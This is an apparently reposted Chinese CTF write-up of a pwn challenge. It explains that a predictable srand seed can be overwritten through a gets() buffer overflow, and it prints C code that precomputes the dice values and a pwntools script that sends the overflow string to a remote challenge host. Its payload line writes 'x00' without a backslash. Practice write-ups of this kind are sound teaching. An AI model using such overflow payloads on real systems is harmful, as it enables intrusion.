zoukankan      html  css  js  c++  java
  • CTF:第五题

    https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5057&page=1

    这个题,感觉和前面比,难度反倒低了一点,这里面用了两个知识

    1:linux 系统随机数获取

    2:srand 伪随机数生成

    只要记住一点,就可以了,伪随机数生成是靠算法的,而算法是固定的,

    所以我只需要控制好传入的key,就可以预知生成的伪随机数是什么,

    需要有点开发技术了

    首先看一下代码

    红框里面取系统随机数,但是我们肯定不能用系统随机数啊,

    如果是那样的话,我们必死啊,

    幸好后面有个gets,我们可以直接从标准输入流传入一个字符串,

    由于字符串尾部和 srand 的key 挨着,所以可以直接写入超长字符串覆盖,

    好了,知道流程,那就开干吧。

    写个代码,先算个随机数 

     1 #include <stdio.h>
     2 
     3 int main()
     4 {
     5     int i = 0;
     6     srand(0);
     7     for (i = 0; i <= 9; i++)
     8     {
     9         printf("%d
    ", rand() % 6 + 1);
    10     }
    11 
    12     return 0;
    13 }

    算完之后,得到了一系列数字

    2
    5
    4
    2
    6
    2
    5
    1
    4
    2

    好了,然后构造python

     1 from pwn import *
     2 
     3 #a = process("./b59204f56a0545e8a22f8518e749f19f")
     4 a = remote('124.126.19.106', 36867)
     5 r = a.recvuntil(":")
     6 print(r)
     7 
     8 str = "A" * 0x20 + "x00" * 8
     9 print(str)
    10 a.send(str)
    11 
    12 a.interactive()

    其实也非常简单,因为我决定那一串数字,我手动输入,

    执行脚本

    结束了,这个反倒很容易,感觉还可以。

  • 相关阅读:
    Objective-c Category(类别)
    协议(porotocol)
    类的通用格式
    objective-c 强大的布尔类型
    C 语言函数指针
    c while 循环
    jQuery的deferred对象详解
    exploring the http Object
    div+css定位position详解
    如何给变量取个简短且无歧义的名字
  • 原文地址:https://www.cnblogs.com/suanguade/p/12968922.html
Copyright © 2011-2022 走看看